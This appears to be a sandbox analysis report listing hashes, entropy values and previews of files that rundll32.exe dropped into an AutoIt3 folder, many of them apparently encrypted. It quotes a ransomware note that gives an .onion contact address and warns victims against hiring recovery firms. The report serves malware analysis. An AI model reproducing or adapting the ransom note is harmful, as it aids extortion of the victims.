SHA-512:	D48001A6CAE4C3C79E122B73905F337F4A31A0956A37D526EFA8B53375D0D3413B39635CD941F06E4B05A655518F81EA9AA154B36CB3A5C4EEE64891CF11221C
Malicious:	false
Preview:	.......5b..TA...o.......t....g!3..4..8.^.e....6......,...^...F......................................................... .....N... ......0....... ...........!.. ...........#.. .... ..........b..TA...o.#....t.....`!3....&.8.^.eH...>.......,.....~U..(....... ...........@...............................C ..N ..!P..v...3H..XP../\..&...n.......5...................<...........<...?&b.)W@.4.o....i..t...._e!3......8!^.e..... ......=...................................................................................................p..t....wpw.tp..xuwvww....v.wHp...^.....].."7.....Pi....L......Y..(..,..^.be.T.T2..j\|..yV.6...w.....x............p......w.<........................................................a......(....... ................................%b..T...E.o(.N.i..t......!3.n%...m8!..e......./.GR..M.5.@BC.KKK.NPQ.QPP.VY[.[[[.kV@.w_G.t^J.ubO.kaW.``a.iii.pje.npr.ttu.vvv.twz.uxz.xyz..`/..a8..j=..r<..aC..eA..qJ..qV..rP..uP..wE..~L...L.<T..d,$.5..o.c..P..t3?....F3./....

C:\Program Files (x86)\AutoIt3\Icons\au3script_v10.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	71860
Entropy (8bit):	7.620126521715743
Encrypted:	false
SSDEEP:	1536:UZ5N4+Js1IQ605jjQWZxLltOmhpkzPr7EbU0M:Ud0B8ixLltbhpo6w
MD5:	8909B6672054970D2654EC36E0921CC7
SHA1:	5D48C21C244A3D206B3006995132887C74E3B3D4
SHA-256:	E8069F8F68F6E37BDAF1A30B0003FA3D151B281DD10F4552E4D1ECAE5205BDFA
SHA-512:	4C61C68292D0904EB2C844D11A75C41C9A98D42E7D9988D98912D5F31A6AD95995CA75C02E2EC2C8391C5BF5504C4272AAEA755856E4D171774459B2894B7DD7
Malicious:	false
Preview:	-"V..n...B..<.&.6&..T....E..3.]H..*~.......[..xQ.K.tC....`X........ ......................h...n"........ .....'..00.... ..%...... .... .....j......... .h.......(...0...`.................-"W..n.3.B..8.N.6&...#..E.B..5J..y0.,..)y..u.QPBPtsP....X......................................................................................................................................n.3..F....A^...y.....7..J.e.OT.a....h9J...B.ts..0?../].wwpww...............wwwx.w.ww..............www......ww............www..wgwx..wx...........ww.wFgvvGg..w...........wx.dv\|v.gCx.......n.3.5..Ln)..XQ...TM...7..J.\.........N....B.ts...Ot.>\|.w\|vFRG.x.........x.`dvgww.\|vd%xx........xx...GdlvGfE$.8.........wx..A.A......`Xw.........xv...`......pg...........t`...x......C..]..n.4i..0.>.A.?i..F..:..7..Mab...++....q/..2...B.ts.[7.v. ...Cx..du...........tvwH.qg...w.b..........xv\|ww...x.v~vW...........tw~tx.tx.Hw\|gx........x.wgx...x...wvwx........x.wg\|.....w...wx....n.3f.......on,.T.....7..J.b...+$q

C:\Program Files (x86)\AutoIt3\Icons\au3script_v11.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41601
Entropy (8bit):	6.999004710507411
Encrypted:	false
SSDEEP:	768:Py6O04xHuMa+0iPUow+WNwm0acumEeLphz4aI7c+J1e/1:n/4MMa+06Yw/2f+/1
MD5:	B49CDC42C7E085A4779E3471ABBB8512
SHA1:	8E44E0D2CAE7B2B143B9A77EE8E7A724BAC0F96D
SHA-256:	3D0B4B926EC6C82F507E455898234626FD360AE29F24B93EED2C70AF8847E34E
SHA-512:	AC23E374A1CFBE878C11CFAA3F5409AC34A62E3082030652770300A202318ECF44A3F8D64605197B06EDECE93EE91E6A5F94FF3A26AD1350DA7114B42E88E3C2
Malicious:	false
Preview:	1.,o4..w...c.~...!8.....O=.@..^<.`sg.h.... .0...........T.....E.. ..........WJ.. ..........?M.. .... ......U..00......h....f..00...........l..00.... ..%...{...PNG........IHDR..........1.-3LWbw......[8.J.X..v..5.2.Bs.k..'yS.........Qw....K;;.#.X..36kk6cc.ck.=;uPGO..lo..H.R......F@.%@.B.M..?.?...G(23.#".#.}f........}....H."E..)R.H."E..)R.H."E..)R.H."E..)R.H."E..)R.H...{...?9..&W.].W6.d....Q...yt..w..(.........]}.9..A~....;..Z........7.}.....?..>.......g.y....O.....>z...xU...).R.p..V.\..'NH..$Q...-..Dky.oG.2........g.`....../..j.........'....k+m.5_'.SoW.v......*9>....Z.icqB9...2...a[@R.Q.{Qe..5....4..v..~.._H...p7..H......x..1!......$..@....\|.....Vl.Y.......i..;.%...."I@...2..... .`.U......q.(i...N..s~7.p....%.H..q.X\%.k.i\|.R...h.\|...@?.".......Q..j\| .;.8wyx....dG.....`.8z...u..~.8.>.s...]......tf.k.....g..f..p..\af...3.c.......T..Lf....H....G..},.e...~.?.......\|...${:..^....\......$..(.@..-.u.6K..........X....iQ.o.D;....+..U9...[.O.[.\.

C:\Program Files (x86)\AutoIt3\Icons\au3script_v9.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25528
Entropy (8bit):	6.643254134153233
Encrypted:	false
SSDEEP:	384:SNTRORMVwYuOkTyK+OP2V+t5oDCpJYerczXY8Fc:iORPYaTyrOBXpJJIY8Fc
MD5:	225F41B7BF47FC9F79B08A9704691CAC
SHA1:	8E0024997440A68F3E92D90059E01DEBBD6093D5
SHA-256:	76E0B73D8C306CC7F3847F02782CAF42461AF67C0B469D2CC1DEC87FAB0D1BA6
SHA-512:	3FB9301E5D13AB3304FC71017DB6C1CDC8DAA19164E55968BD1C78C0503FA95E4D03A644C7744218463241207D56535451DE478B86C08F20A62C067F625CF773
Malicious:	false
Preview:	E.$.2.m.....`..uF...[c...`..;..`)]+...$.I...5..w.T... #..N;..........(....?..........h....@.. .... .....FF.. ...........V.. ...........Y..(...0...`..... ......%....................E.$.2(]....xE...F...ks...`..;..`)m....$.I[......g.T...H'................................................................................................................................E.$.2(]....xE...F...ks...`..;..`)m....$.I[......g.T...H'................................................................................................................................E.$.2(]....xE...F...ks...........}...B.=...w..P..a.....Af.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff.fff...........................E.$.2(]....xE...F..8..qH..3...w.;..@..0.......A.P>5U.2...uR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..RR..NN..NN..NN.fff...........................E.$.2(]....xE...F..8..q7.s.@.I......

C:\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48363
Entropy (8bit):	5.787520936222141
Encrypted:	false
SSDEEP:	384:UPt/sIW3PjWosvuu+V6gAiyZQb6fe6fNc157qQwFCRkIYJxDvO5p8x1Z:WtXW3avIJAiyZQO5lW52QjwJNG5pc
MD5:	8894D3BDD90FFF552074BA531256B4A1
SHA1:	13B4D8DC8C1141E5C1AF8F4649331A73D0223230
SHA-256:	A74F02AEB626F9A62EFD34B76B5E4E35F06B61FB281B30129BA53D8702724C20
SHA-512:	5C6B77BC7F6210D7BC80352D5664A81B805ABE8F6FCB466D6B82F9B303C1F548CF266E9E185FDF0AC25ABAF4690EB8D1CAD25B534C27CD65F12C40CB0358079D
Malicious:	false
Preview:	...R...^..B@#...6.iP:LD....{....O....'?B...s..6.mO~....}.[.2....{.. .... .....a......... ............... ............... .h...I....PNG........IHDR.............\r.f...jIDATx.........R.@~.(.......G.h?K2c..#"#.t..U.o...Zt...0...H>&:"...<.t..].q..{g..9...'.j7..R...!.C. .ch..t.........14.B:..@H........!.C. .ch..t.........14.B:.v.b....O....{...u....Y.....R6...r.[N...9.C......g..C.'.+...-..Rgd.e".$.A.?.E6.^.:U.&..Id.g.....J.......{..u$..~............\|...;P.......B;.......}..w..0..F.E.9..cO............{H.@.s.k..."L......i.....R.=}z-N...}....i.&.`..Z.6.FI.....l...(.$9...>.].x..Qv.2.x.[.{....$&.....j...r3.Re._.$.m.2.../.=..d.........9~ ..7&"w...nw......+....J.K&.[.u.b...<.s........h... .1..;.......WWW...L.&.B..@l36...8q.7o.....2.84:.*.D..3.@..}:..].>.r..s..U...r...&".'../.._"6.B...1.}.Y.{."..a...S..c....i..@..<..........oM.K...?..q..o.....5......~.+....g......8'@......,um..OR8<;@..... -....W.p....k...4.b..y..QD.T.c...G..(C...y..eA."._x....-..Y}.=.

C:\Program Files (x86)\AutoIt3\Icons\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Include\APIComConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	7.2915839237550815
Encrypted:	false
SSDEEP:	24:34c2922zMvmFpAdHD9229G6h2292Pm3eyCQDVjBqVQN22922TvLIEjKGWS:I5xzNnAdHDxrd3esDjqOhxTv0ixWS
MD5:	FEE8EE79076911EB8B9EF1C705493F4C
SHA1:	F249789F1992DB2780895E920B60281CCDCB7EAC
SHA-256:	054B922246B4436FB0D37AF5A2C7F94A8F3843A16D6B770DF5AC5634DBB0FF10
SHA-512:	9922C61BA9DEF7F93B96812A450B99B58EC5C856820A1956FC767B983CBB8C490DE2CF5DEE4F5E86450B237B67DFC66D1FE8AF33B25A33FE28F4395B78B2C44A
Malicious:	false
Preview:	u..{..=4......K..........t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{...3.`...iN.29.F.:X....zSb..l.....o.b.5..FB.?..y..y7...l...3.`.....=@.yeL._zV..h.'<..~2......i.w.p...L.x..8..>=....#.....K.0....gN.&7\|.^g..E/.4fZ.$#.....Q{.s.5..t.....8..;#....#.....V.h...gN.&7f.C\|..Ow.^b_.Z8......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>.....RM.X.A..T1.v..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......{..-.J..n#....w..0%....}.o...U."....'..<3\|'yZ?.t..U@f..M.....5K.6.5..0P.\..w..5q.....8.....p......%.S[zYtP3..{.l"..ZD....2a.e.5..O+....U.8......\.......p....&..p7\|.^g.....]\{..P......'K.I.P..R;.k..`.LT[.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.k..%.Idl.....%.{.....}....t].!.U.)K..f.)/..m>......L3.+.(..=_.=========....,.v....(....!_m.#..0..k.

C:\Program Files (x86)\AutoIt3\Include\APIConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2062
Entropy (8bit):	7.619828879913122
Encrypted:	false
SSDEEP:	48:iGUeIG0qUsJJbgWRW4vrZ6NntWRSWRCWRmBBKcbo71zS:XUz985E4vd654PrcLoBS
MD5:	C9A238A94EA6FD3AC2F09CF93890ECE6
SHA1:	53AF22F43003DEB0830DE11B9CDB80C176D62CE5
SHA-256:	5FFAD0B4EA371C72CBE8C12544337A9E12B6B4A6AEA39D07490EF8A3C7446ED5
SHA-512:	7F8F9E2115FB96613F5038832C11E6C07625672A0DB7D9DEAB2700019D382C1A453FA18EFBBDC320E6651CD627348B7F8DEF6B76A69502683AA7832B3FD5A086
Malicious:	false
Preview:	..)..jD.!...=H?..H..Y..z.......x.3...X.2T2.Y....h.i^YV........3%..z@D:..Eq......V..{.......y.....W.5.}..H.&Z.e.pOX..~...-...9..`R^/....#G..,kW\..s..de..\.8.6..E. .'.....t.(.rYP..9}..;...)..kbE ...^6A..TRV8f.v..1#..7...8..U4.. ........8..0...?1.9...1...\|NI....D#\......N.....'+..p.~.%.S...=....._W.~.>76U.2>.(...R...\DY....D#\......N.....'+..p.~.%.^.-.......X....2[IE.QW.4.......,`z...%Q6Z..O..T..l...we.6.2...SWc;......C....rNOX.)n.Pa..)..jD.l..<dW..b..F..q.%2.......C.$Zq.....^:.e.h[R..r<.nI..S#..bTN+..6_.]..N..A..k...1t...5....R.aX......B..%.i..{..4.>....j.gSi!...Q,F.@.G.a.<..(2..5......Y.2.2.....YJ...?SR..)9.}I...>..`R^/....#G..,kW\..s..de..t.9....B./. ....!s.b..VI..\|..."...9..`UY`..F.O8..O..@..?...)(..V.2...B.o.&..v..E..g.x_.T.93......+..}.K;..x:a[..M..PL.O...!4..z./....EY .`..q..B..~.y..%.?(.4....$..oO^=....`?..H..Y..z...-)..\.3...X.2T2.Y....h.i^YV..4..;...9..hNi!...Q,F.@.G.a.<..(2..5........*.....X....2[IE.QW.4.......,vC ...C.]..U..A..~..IM.....;.n

C:\Program Files (x86)\AutoIt3\Include\APIDiagConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3220
Entropy (8bit):	7.763821831673177
Encrypted:	false
SSDEEP:	96:AXLq12WF2LmlHlvjt/jV6aLySi+7yc9k9G/IZ9S:BdlLt/jV6azPdpAfS
MD5:	4A49267B9E5CB7EA685628A46257BFCC
SHA1:	304799E500AF30792C1ABFC292E981FCCD11A452
SHA-256:	B6D87880CF847B56101DCCB2C489497757E45CD4214DA22297D5068F8FB0EA65
SHA-512:	A2CA69AC1B04E9A4F2C0F12916C99009F6EC50C7FB1D2914EEE3748FAA24D5C1840F28346A4222053972A0F24F0B089BA9DEC098BDC0FF3B186FAEAF56ED20F3
Malicious:	false
Preview:	...V2.Ct..........A...Y....D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&.....h...u....W.hj...b.b....Y...-?..{.k.u..j....G?.^1...i.n...S.o..]......!..m.".x....+B...G...}.~.0.......~<Iv...!....B.....h....W.h~..k.?]#.....\|...l.....o.z.u].X....s~.Ns...0....R.....o....W.h~..e.$@'......f..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q...q....Y.Q..k.x.....cD.,...t.&....._..!..D.{y..9.q...... Q..0A....'.".h.......cD.,...t.&....._..!..D.{y..9.q...... Q..0A......$..}.B...p0.JU...;.x...-.....p...._f`..I..}......\...A)...C.]..y......nI.)...C.w.K.!...h...4d....H..~......Y(..^/....b...e......Y1.F}...'.o..~.-...]...)~....W.q.r.....-\...;..v.\.;Y.....z.-xR.....U..t.6...<..I.vt..4.A#....^...y\...U.K..o.y.....&A.!...y.....H.....s....]x....P..l......Q#..^\...*./.e......Z<.K1...:.;...j.2...U...<t....V..h..

C:\Program Files (x86)\AutoIt3\Include\APIDlgConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11069
Entropy (8bit):	6.744010059485974
Encrypted:	false
SSDEEP:	192:3pNFHjACMjYFirtEAWOi7SqIz/D9GXwXObJJ2kuZclLyjkIfC/S:3pNF0CMjYFirtJriWq4/D98w+bJJ2kuD
MD5:	FBE7565C6F438EC6D2491A789EE7405F
SHA1:	56E3B0F942A3C8E45D8AEC29D3B907FFC3FD4C07
SHA-256:	1CD6EE75057881043C4C99ACD5FA57F29B0C1F1A6576D61FFBF9FC717FF2BAF8
SHA-512:	817FF6B850CDD8129CB13F6B6B54F52B15A1F2D2F43E288FA94392E730D1BCA37563B30EF116EA9A8B6B1EB3BC95E234515369FAF64026EA6AD83A73C1556784
Malicious:	false
Preview:	...;.......L..g\`L}....P.!.xTQ.......J..s.......'i.p.y2 ==================================================================================..; Title .........: WinAPIDlg Constants UDF L...%.......)..oqI>.......J.7........D........\..{3.m.j!3..: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================..Tj...E..T.{..aA~8.....P.!.xTQ.......J..s.......'i.p.y2 ===============================================....; #CONSTANTS# ===============================================================..Tj...E..T.{..aA~8.....P.!.xTQ.......J..s....8..u6.!..`sst $__DLG_WM_USER = 0x400....; _WinAPI_BrowseForFolderDlg()..Global Const $BIF_BROWSEFILEJUNCTIONS = 0x00010000..Global Const $B...+....>..*.....9.%.....].-.uYa.....Q.W...:.mf..p..M....._OINTER = 0x00002000..Global Const $BIF_BROWSEINCLUDEFILES = 0x00004000..Global Const $BIF_BROWSEINCLUDEURLS = 0x00000080..Global ...#...>..&.....9.Jd.....#.!.u.\......

C:\Program Files (x86)\AutoIt3\Include\APIErrorsConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	309775
Entropy (8bit):	6.671980411255854
Encrypted:	false
SSDEEP:	6144:Yp+P/jdAIq0qWE/7shfSgjzSVYJB++uuvaC5lNjL:5jdGz7shfSgjzAYJ70C5lN
MD5:	408FA658BEE3374DCEFFFEBD54200AB6
SHA1:	E60231D778AD3C6E3FD119A512DBC4635AF65EA4
SHA-256:	4563DF7DBC0D84B3988B15320540F537388BB54813E3E8881A597CEEE1233569
SHA-512:	9BDEC701212314EDB7BE8FE1C1D3319F58EBA5D42EEAB91DD2746A7DDECF2DC089A1734F28CAF878AA55BE083D431668BA5330CA85BB25DDB0322C3BA604E5D7
Malicious:	false
Preview:	O...A.\FRh]S~t. w.npvj\|.\|....=c.I7g....B.Y.>v.J.....b-......F==================================================================================..; Title .........: API Constants UDF LibraryL..u.M.tr.;yE.k9."pL.o.-...,.:~.Z9t...r:_.O*....^..q>......glish..; Description ...: System error codes to be used with WinAPIEx UDF library..; Author(s) .....: Yashied..; ===============Q......V.;..NC..q.p.....b....=c.I7g....B.Y.>v.J.....b-......F================================================....; #CONSTANTS# ==============================================================Q......V.;..NC..q.p.....b....=c.I7g....B.Y.>v.J.....UW.......nst $ERROR_SUCCESS = 0 ; The operation completed successfully...Global Const $ERROR_INVALID_FUNCTION = 1 ; Incorrect function...+...X.z.SuJ.W;.x....qb\|......tU..T7z...+X..p2.......1~.....[the file specified...Global Const $ERROR_PATH_NOT_FOUND = 3 ; The system cannot find the path specified...Global Const $ERROR_TO#...m.v;xHap:2.yl.m.....7...;Ht;.Ti;^..

C:\Program Files (x86)\AutoIt3\Include\APIFilesConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27747
Entropy (8bit):	6.683539317046246
Encrypted:	false
SSDEEP:	384:pvvPEfa+sVw75OCYdIMIlFtcE6WHk0cC28V6qZGhyXlhjjOdVaP7CGVMTPdV5XH4:9vUKQP+G6FVx9QG1Y5X4WFey
MD5:	E026A79B798AAF81F299CE54920E11B8
SHA1:	3F476F289E685BF475C166619FF5F0FF9D6127B9
SHA-256:	B93E5BFD93B862EB1F1EAB51AE1B79122E6299A6E2E605BB211148DC9CA0DD8A
SHA-512:	4CCF4718946C13951F7D88B6977D6C431D4BC4E452763D1722FE6888BFFB1E08240E969A6E59482B1A443A7B146C225F16E2532DF30C00167E0FF8BDC1C2977D
Malicious:	false
Preview:	.^.j.h.y(3..M..(_.]....v.......M}b9....gX..H....<)s.C....'.g.B.==================================================================================..; Title .........: WinAPIFiles Constants UDF.{.k.\|8e%:....Q:..M...oV.H{V.d.2,m...zV..[......u.2..Y.{X?.Q.....: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ==============..F4. w!8a......h.C...........M}b9....gX..H....<)s.C....'.g.B.=================================================....; #CONSTANTS# =============================================================..F4. w!8a......h.C...........M}b9....gX..H....<)s.C..3.!.....API_BackupRead(), _WinAPI_BackupWrite()..Global Const $BACKUP_ALTERNATE_DATA = 0x00000004..Global Const $BACKUP_DATA = 0x0000000.:qN.r(}i\|..F..q..=....kb.csv..M`o\|....jU..x+..cu".=..M.:...<.UP_LINK = 0x00000005..Global Const $BACKUP_OBJECT_ID = 0x00000007..Global Const $BACKUP_PROPERTY_DATA = 0x00000006..Global Const..9H.V.LZ...i..`...*....[......@xR.._.

C:\Program Files (x86)\AutoIt3\Include\APIGdiConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19736
Entropy (8bit):	6.795190444335875
Encrypted:	false
SSDEEP:	384:BTSulkjmYiPQ9zXprKhmDJoFFqvzUZ1v+5oDvzy:kulgXlQmuFIwZ1vwWO
MD5:	D02762D2D6B944C8AEA6611B6E849F58
SHA1:	B1A153635E6C333D32951CA9FA5A7CBF66C459BF
SHA-256:	C7A04455B910BAC632C45C772AD6D29D3D440C40F7C0BEDF578126AAEBA8075B
SHA-512:	ACDAB9C7E198332446F83C0AC4AEB42BA41AD99A291A43AF6A1494F0F3323C2080892AEEFC4AFE32832AF00C222A60E1F58178246457F2045F68A6D7F81948AA
Malicious:	false
Preview:	...b...v.8........=q.).wQ..1...!;o.W..C.$.M....f...!.xTWk).==================================================================================..; Title .........: WinAPIGdi Constants UDF L..nD..k.....Cy.'.O....;8.bZ....shr.J..M.(.^......:ECH}. IDx:...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================....YH.$.f..70...I..Q.iL..1...!;o.W..C.$.M....f...!.xTWk).===============================================....; #CONSTANTS# ===============================================================....YH.$.f..70...I..Q.iL..1...!;o.W..C.$.M....V!)7'..>.8U.I_AddFontResourceEx(), _WinAPI_RemoveFontResourceEx()..Global Const $FR_PRIVATE = 0x10..Global Const $FR_NOT_ENUM = 0x20....; _W...H'..i.>...cy.K.6V...}\|..`....<E=..H.Z.V. .....tftH..95.Z. = 0..Global Const $COMPRESSION_BITMAP_JPEG = 1....; _WinAPI_CopyImage()..; in WinAPIConstants.au3....; _WinAPI_CreateBrushInd....?Mx.^.4...*N.D.......5..\....NHr.J.

C:\Program Files (x86)\AutoIt3\Include\APILocaleConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8071
Entropy (8bit):	6.73883728881696
Encrypted:	false
SSDEEP:	96:85+voNGqJoQbr6HmXwCpsTc7X81IRJ1d/Wo16rBVbwMzAuJCsX8vKTjOXg7lYW12:8YQ/prMSsisUJ1dwkGMyjOXg7CqrXS
MD5:	0BD6B93A783634D43B303FA279492AFD
SHA1:	FD28350E10338DB9B5C963DCE3C78DC1784D957B
SHA-256:	38788F63CAE4BD3FF3129000C4383558CFCB6115BA9EF9A8991F5663D6A37D3F
SHA-512:	87CF7C48459B72515D7A1E9AACDCA087E3E76CC8E500C8980B2A2709859E9CB2CFB771F61C3DBCA1AA75061B1BC4187D4384E71AF96B4FECA47B10F3795D8FA4
Malicious:	false
Preview:	X]....P.x...Vh....wg>)i.H.5.R...0..>&.......a..+.........z.==================================================================================..; Title .........: WinAPILocale Constants UD=...x.GW7........4)@Q....A.Om..d.G#!......r..-.m.SN.X..g......: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; =============F...7.......aX.......FLw.H.5.R...0..>&.......a..+.........z.==================================================....; #CONSTANTS# ============================================================F...7.......aX.......FLw.H.5.R...0..>&.......a..+...7$......nAPI_CompareString()..Global Const $LINGUISTIC_IGNORECASE = 0x00000010..Global Const $LINGUISTIC_IGNOREDIACRITIC = 0x00000020...qs..k..mx...x+.....~m4#..4.M.R....=..3+....I.>...U.O.I..w....IGNOREKANATYPE = 0x00010000..Global Const $NORM_IGNORENONSPACE = 0x00000002..Global Const $NORM_IGNORESYMBOLS = 0x00000004..Glob.X...d.A.3....,.....nj?%..H.8._...=...

C:\Program Files (x86)\AutoIt3\Include\APIMiscConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	7.615539637846958
Encrypted:	false
SSDEEP:	48:mHRUXe6Rsy/SYK5jKRrnZmt9g+PEVrNH1rxS:mqXR6Y8jKFZsmHrNHzS
MD5:	7CC75DC8E91A15AD98C8FDAC913E5211
SHA1:	0CBAF13854A1A7CB0C00D41759C4F655473DF77E
SHA-256:	DAD63616551454578572801B6B3D76A4BCEB1B4D4C54E005F17A8B7F7DC6B5C3
SHA-512:	F33DD0746D4658C73DF19E18753F2FF6EA4A7A99836D7F10EC9B9373CD724B1C436427781431E7FC64A59CBFC9DF8A35356911A49121D46502647AC29B29981C
Malicious:	false
Preview:	Y..]..8+<......b#..i(..P.&;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%.5.F./\|Wc&.[i...`v...q....\..5?1..OU.."#+.eh6..L..%nw......!l.2]..}OiO.U...G'7....Y.f.$s.wQ.u.mG..96?o...fT_....2)}......,}.\R..2aTh&.[i..w!6...H..u.}$.f?p .CC..?2<.W Z$.x..5,c.....)m.WO..5!.((.[i..m/+...BF...xH.}\|,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{Q.C........^.w.YQ...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s..+.FlxU..M.8.n..%.~....../t.]A...gUur.Q...k.....e+...[e.fli~....tgU..L*...}../:1.....!Y...F.>8.67.Ew..>.4...JJ.:.f1.b._..`j.....N...x.A...l~!.......8.PN..f,hHB.4...wne....Z.e.%u.KVV".CG...86y....45.x....P....X(...V.v.1Aj..&.w!6...9...Y...\|,n.Y..\|gh:..)...._...!.......7U.ro4.f5.6~.Ew...~l..J..4.5..(/en.rh.....O.v..Q....l~!....../t.]A...gUur.Q...k.....v

C:\Program Files (x86)\AutoIt3\Include\APIProcConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5425
Entropy (8bit):	6.771824482030944
Encrypted:	false
SSDEEP:	96:fDdTyXBA1kmpFs8L7gAUPTHq5faioTkRh8ffo2BpxQcFaL9vQjmkS:Ldwk/gAxcHoiIYPS
MD5:	C24882321EE09A3A4EA2A750313E10B0
SHA1:	B64E66DDE13EAC9096193B7AA97D3C6BCE0F1D1A
SHA-256:	5ABAFA356DF25C282BA66C19EAB76E34270FB4D7CCB48DCA6E0E1858436C104E
SHA-512:	7DC749462E3E05873B992C08B2EFA42AE761E69EFCC7DAA64EEF24A4B945FBE35D2CE361B623852A43762385FCE7324C33ECB9400583D00885091D09E73675F2
Malicious:	false
Preview:	xa.F5OB.&.....\|s.a3.Q.s;~.....^..Jd.;...v..V2....x.3.G.Y...==================================================================================..; Title .........: WinAPIProc Constants UDF .a.W8H_.m......0..Op.5.^l1e...C.....y.&...z..Z.&..$.i..........: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ===============f5V.d...6xG....LD..G.(..%c.....^..Jd.;...v..V2....x.3.G.Y...================================================....; #CONSTANTS# ==============================================================f5V.d...6xG....LD..G.(..%c.....^..Jd.;...v..V2....H...A.;....PI_CreateProcess(), _WinAPI_CreateProcessWithToken()..Global Const $CREATE_BREAKAWAY_FROM_JOB = 0x01000000..Global Const $CREATE.L.c.oj.T.(...<6..bG.%..,n.....i...;.j..8^.OL~v....@.-.'....LE = 0x00000010..Global Const $CREATE_NEW_PROCESS_GROUP = 0x00000200..Global Const $CREATE_NO_WINDOW = 0x08000000..Global Const .K9`.nc.[.5....4=...5.P.x8c......W..Gi..

C:\Program Files (x86)\AutoIt3\Include\APIRegConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	7.850429214765483
Encrypted:	false
SSDEEP:	96:BOUEuWZ5OVjy+ckqCz/ySEsJ0kv0wcpxZYbKLE0SrhGR1D0k7WS:Bj65se3Cz/lEsJ0TZ6rcDdWS
MD5:	D04CE43F57E9C69184BFC6ADEED567C8
SHA1:	45D8CAE3C884D86B22654D5AE6BC9AB69454150E
SHA-256:	E259AEA4ADA2B9DE2FD33F6B9758B368A190E9D1FED563C6D27A1EEB67AB4C2D
SHA-512:	231D25E4EF359368F392E61FECF86574538A4DEB4E0C32E083D9648C50FA5AE1ACCEE2D64BA44334AC3599C8A9FB691D1748468A3D24D001477EDAA16A0B5E76
Malicious:	false
